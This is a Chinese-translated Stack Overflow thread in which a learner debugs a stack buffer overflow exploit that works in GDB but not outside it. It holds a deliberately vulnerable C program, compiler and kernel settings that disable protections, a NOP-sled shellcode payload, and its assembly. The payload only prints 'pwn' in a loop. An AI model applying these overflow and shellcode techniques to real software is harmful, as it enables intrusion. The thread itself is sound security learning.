【问题标题】:Can't Reproduce Buffer Overflow Without GDB没有 GDB 就无法重现缓冲区溢出
【发布时间】:2016-02-12 14:33:52
【问题描述】:

一段时间以来,我一直在尝试解决此问题。我检查了一些存在类似问题的 StackOverflow 链接,但似乎没有一个修复程序对我有用。由于某种原因,我的漏洞利用代码没有像我应该的那样得到分段错误(如果我的漏洞利用代码不起作用),我的漏洞利用代码根本不会产生错误。我最初的假设是 perl 代码以某种方式只生成了一点点输出,因此不会溢出到堆栈上,但我通过将 perl 命令的输出传递到文件来证明这是错误的。

但是,我无法在 GDB 中重现此问题。据我了解,GDB 禁用了 ASLR,但我通过以下命令在系统中(暂时)禁用了它。我知道这个命令有效,因为我打印出变量 &buff 的地址,并且它在多次运行之间不会改变。

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

我还在我的可执行文件上禁用了堆栈金丝雀保护:

gcc -g -m32 -fno-stack-protector -z execstack exploit.c

正如我之前所说,我的漏洞利用在 GDB 中完美运行。这是我的可利用程序,我将向您展示我的利用代码。

exploit.c

int checkFunc(char *c) {
    char buff[32];
    printf("0x%08x\n", &buff);
    strcpy(buff, c);
    if(strcmp(buff, "test") == 0) return 1;
    else return 0;
}

int main(int argc, char *argv[]) {
    int result = checkFunc(argv[1]);
    if(result == 1) printf("Access granted\n");
    else printf("Access denied\n");
    return 0;
}

[工作]利用代码的 GDB 输出

(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn

利用代码的常规输出

chris@cb:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied

是的,我已经考虑到返回地址的变化(GDB 增加了额外的环境变量)。这就是为什么我通过在我的程序中打印出返回地址来欺骗我,这样我就可以在不使用 GDB 的情况下知道确切的值是什么。

如果有人认为漏洞利用代码有问题,我也会发布汇编代码。

xor    edx,edx   ;xor so we don't have to use a null terminator in our code
xor    ecx,ecx
xor    ebx,ebx
push   edx       ;push the null terminator to the stack
push   0xa6e7770 ;push our string pwn\n to the stack
mov    dl,0x4 
mov    ecx,esp
mov    bl,0x1
mov    al,0x4
int    0x80      ;print our string
jmp    eip - 1   ;keep on looping!

提前非常感谢您!我已经坚持了几个小时了。为了让你们知道,我编写了这个可利用的程序来了解黑客攻击中的缓冲区溢出:利用的艺术。

【问题讨论】:

  • 将 gdb 附加到进程,不要从 gdb 本身运行它。这样内存布局不会受到影响。
  • 哪个 x86 jmp 指令又是单字节指令?好像没找到……
  • @EOF 你的意思是jmp short?那是0xeb。它当然需要一个单字节偏移量,所以总共是 2 个字节。哦,我的讽刺探测器需要调整。 @baseman101:他想说的是,jmp eip-1,即使它组装起来,也不会做你认为它做的事情。请改用jmp $ 或等效项。
  • @Jester:\xeb\xfe 不应该也一样吗?
  • 我觉得奇怪的是这个mov al,0x4。这会将 4 移动到 EAX 的低 8 位,但我没有看到您实际上将寄存器的其余部分归零。如果这些位中有垃圾会发生什么?也许你也需要xor eax, eax?也许在调试器中 EAX 都是零,但正常运行时不是?

标签: assembly x86 gdb buffer-overflow shellcode


【解决方案1】:

对于将来遇到此问题的任何人...

我遇到的程序问题是缓冲区中的 0x0A 字符。由于某种原因,GDB 把它当作一个简单的换行符,但是在正常运行程序时,它被当作一个空字符来处理。我通过将换行符更改为其他字符来解决问题。感谢 Jester、EOF 和 Michael 的帮助,他们带领我走向正确的方向,并帮助我编写更好的代码:)。

(gdb) x/32x &buff
0xbffff130:     0x90    0x90    0x31    0xd2    0x31    0xc9    0x31    0xdb
0xbffff138:     0x31    0xc0    0x52    0x68    0x70    0x77    0x6e    0x00
0xbffff140:     0x20    0xec    0xfc    0xb7    0x2d    0x86    0x04    0x08
0xbffff148:     0x64    0xf1    0xff    0xbf    0x00    0x00    0x00    0x00

如您所见,字节 0x00 在字节 15 处终止字符串,因此,我的数组的其余部分具有未初始化的值。

我假设程序认为我正在为命令行参数创建一个实际的新行,但我们都知道情况并非如此;)。

为了解决这个问题,我只是用另一个值替换了换行符。不幸的是,我不知道如何在不引起此问题的情况下将换行符合并到我的程序中。我想到了以下 hacky 解决方案来弥补。将换行符减一(0x9)的值放入寄存器,然后调用寄存器上的inc操作码,并将其压入堆栈。

【讨论】:

    猜你喜欢
    • 2013-07-20
    • 2010-11-11
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2016-04-20
    • 2015-12-16
    • 1970-01-01
    相关资源
    最近更新 更多